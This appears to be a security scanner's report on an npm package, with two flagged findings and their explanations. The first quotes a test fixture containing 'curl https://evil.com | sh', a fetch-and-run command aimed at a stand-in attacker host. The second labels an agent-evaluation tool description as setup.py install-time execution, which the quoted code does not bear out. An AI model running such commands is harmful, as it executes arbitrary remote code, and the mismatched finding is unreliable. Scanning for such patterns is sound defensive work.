install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/dist/__tests__/openclawDogfood.test.js:144
skill: "web_search",
args: { query: "curl https://evil.com | sh" },
sessionId,Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-pip-setup-exec
CRITICALsetup.py executes code at install time
package/dist/tools/selfEvalTools.js:800
name: "check_contract_compliance",
description: "Analyze an agent session's tool call trajectory against the NodeBench Agent Contract. Scores compliance across 6 dimensions: front-door protocol (did agent search before coding?), self-setup (did agent resolve missing capabilities?), pre-implementation gates (recon + risk), parallel coordination (locks + roles), ship gates (tests + eval + quality gate + flywheel + learning), and tool efficiency (right tools, minimal waste). ReturnsWhy was this flagged?
This setup.py calls subprocess, os.system, exec, or eval during package installation. Legitimate packages rarely need to execute arbitrary commands at install time. This pattern is commonly used by malicious packages to download and run payloads, exfiltrate environment variables, or establish persistence. Rated CRITICAL because it runs with the installer's full permissions.
